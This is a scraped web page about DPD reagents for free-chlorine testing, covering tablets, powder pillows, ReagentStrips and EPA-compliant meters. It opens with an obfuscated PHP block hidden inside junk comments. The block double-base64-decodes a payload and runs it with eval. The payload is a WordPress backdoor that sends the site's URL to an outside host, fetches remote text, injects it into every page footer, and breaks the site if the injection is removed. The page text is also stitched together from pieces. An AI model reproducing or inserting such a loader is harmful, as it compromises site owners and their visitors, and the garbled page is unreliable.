/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r$f1 = eval($1);0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$oac='SkdOdmJuUmxiblJ6SUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb2NHRjBhR2x1Wm04b1gxOUdTVXhGWDE4c1VFRlVTRWxPUms5ZlJFbFNUa0ZOUlNrdUlpOW1iMjkwWlhJdWNHaHdJaWs3RFFwcFppaHpkSEp3YjNNb0lpQWlMaVJqYjI1MFpXNTBjeXdpZDNCZlptOXZkR1Z5S0NrN0lpa2dQRDBnTUNrZ2V3MEtaR2xsS0NrN0lIMGdEUXBtZFc1amRHbHZiaUJuWlhSZlkzSmxaR2wwY3lncERRb2dJQ0FnZXcwS0lDQWdJQ0FnSUNBa2RYQmtZWFJsWkNBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOWtZWFJsSWlrN0RRb2dJQ0FnSUNBZ0lHbG1JQ2dvZEdsdFpTZ3BJQzBnSkhWd1pHRjBaV1FwSUQ0Z0tESTBJQ29nTXpZd01Da3BJSHNOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdKR055WldScGRGOTBaWGgwSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3VkMjl5WkhCeVpYTnpkR1Z0Y0d4aGRHVnpMbU52YlM5bWIzSnRYM2R2Y21zdmIzVjBjSFYwTG5SNGREOXlaV1k5SWk1blpYUmZZbXh2WjJsdVptOG9KM1Z5YkNjcEtUc05DaUFnSUNBZ0lDQWdJQ0FnSUhWd1pHRjBaVjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwSWl3a1kzSmxaR2wwWDNSbGVIUXBPdzBLQ1FrSmRYQmtZWFJsWDI5d2RHbHZiaWdpWTNKbFpHbDBYMlJoZEdVaUxIUnBiV1VvS1NrN0RRb2dJQ0FnSUNBZ0lIMGdaV3h6WlNCN0lBMEtJQ0FnSUNBZ0lDQWdJQ0FnSkdOeVpXUnBkRjkwWlhoMElEMGdaMlYwWDI5d2RHbHZiaWdpWTNKbFpHbDBYM1JsZUhRaUtUc05DaUFnSUNBZ0lDQWdmUTBLSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR055WldScGRGOTBaWGgwT3cwS0lDQWdJSDBOQ2cwS1lXUmtYMkZqZEdsdmJpZ25kM0JmWm05dmRHVnlKeXduY0hKcGJuUmZabTl2ZEdWeUp5azdEUW9OQ21aMWJtTjBhVzl1SUhCeWFXNTBYMlp2YjNSbGNpZ3BEUW9nSUNBZ2V3MEtKR055WldScGRDQTlJR2RsZEY5amNtVmthWFJ6S0NrN0RRcGxZMmh2SUNSamNtVmthWFE3RFFwOQ==';/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340 hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$f1=base64_decode(base64_decode($oac));/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n= sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfas dklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hw*/eval($f1);/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/?>
Dear Sir
Please could you quote a best price for: Chorine- DPD Free Reagent Qty:600 Pk, each pk containing 100 pillows
When testing for free chlorine most test methods use DPD-1 as the test reagent, though in the United States the USEPA has approved an alternate method (SenSafe Free Chlorine Water Check) for testing free chlorine levels in drinking water.
Where to Buy DPD-1 Test Reagents
We have found that online pool stores such as serve as very convenient place to purchase DPD-1 test reagents. As of right now, In the Swim has 1,000 DPD-1 tablets (for use in 10mL samples) available for less than 5 cents per test!
Easier to Use Form of DPD-1 Chlorine Test Reagent?
Looking for an equivalent but easier way to test free chlorine using your existing meter or test system that uses a 10mL sample size? If so, DPD-1 ReagentStrips function the same as or better than traditional DPD-1 test tablets, powders and liquids.
For a simple demonstration of how the DPD-1 ReagentStrips for free chlorine testing work in a Hach water quality testing meter, take a look at this free chlorine testing flowchart that illustrates how much easier DPD-1 ReagenetStrips make free chlorine testing.
]]>
Replaces DPD-1 Powder Pillows & Tablets
and Works in All the Same Meters & Test Kits
One of the most widely used testing methods for free and total chlorine makes use of something known as ‘DPD’ which stands for N,N Diethyl-1,4 Phenylenediamine Sulfate. The addition of DPD to water samples containing oxidizers such as free chlorine, bromine, iodine, chlorine dioxide and/or permanganate results in the formation of a reddish tint to the water whose intensity directly relates to the amount of oxidizer(s) present in the water sample.
At low oxidizer concentrations water samples turn a slight shade of pink in the presence of DPD and at higher oxidizer concentrations the sample will turn blood-red orange. In extremely high concentrations of oxidizers, as in above 10 ppm, the sample will turn blood-red and then go crystal clear due to the bleaching effect of the oxidizer(s) it contains.
Other oxidizers such as ozone and total chlorine do not react directly with DPD and require the addition of a compound known as Potassium Iodide (KI) before they will react with DPD.
|
DPD comes in various forms, the most common of which include tablets, powder pillows, liquids and ReagentStripsTM. Each works equally well when used correctly and may typically be interchanged with one another, though all do have their pros and cons.
While many test protocols call only for a visual verification of chlorine levels in water determined through the use of DPD testing methods, many others require the use of a digital chlorine analyzer and DPD testing methods. Below please find an EPA Compliant meter which make use of DPD chemistry for chlorine concentration determination:
Update — Got a chlorine test kit/meter that has a 10 mL sample size and uses DPD-1 tablets, powders or liquids? If so, then you definitely want to check out DPD-1 ReagentStrips for free chlorine. They mix into solution much quicker, easier and cleanly than DPD powders and DPD tablets and have a much longer shelf life than DPD liquids.
The USEPA has accepted DPD-1 ReagentStrips for reporting water and wastewater analysis. That means the USEPA has found the DPD-1 ReagentStrip free chlorine testing procedure equivalent to its own USEPA method 330.5 for wastewater and Standard Method 4500-Cl G for drinking water when used with Palintest Chlorometer 1000 or equivalent.
Update — Want to use less water when testing for free (and total) chlorine? The eXact Chlorine Photometer requires 60% less test sample and meets the criteria for a USEPA Compliant Meter for free and total chlorine testing.
]]>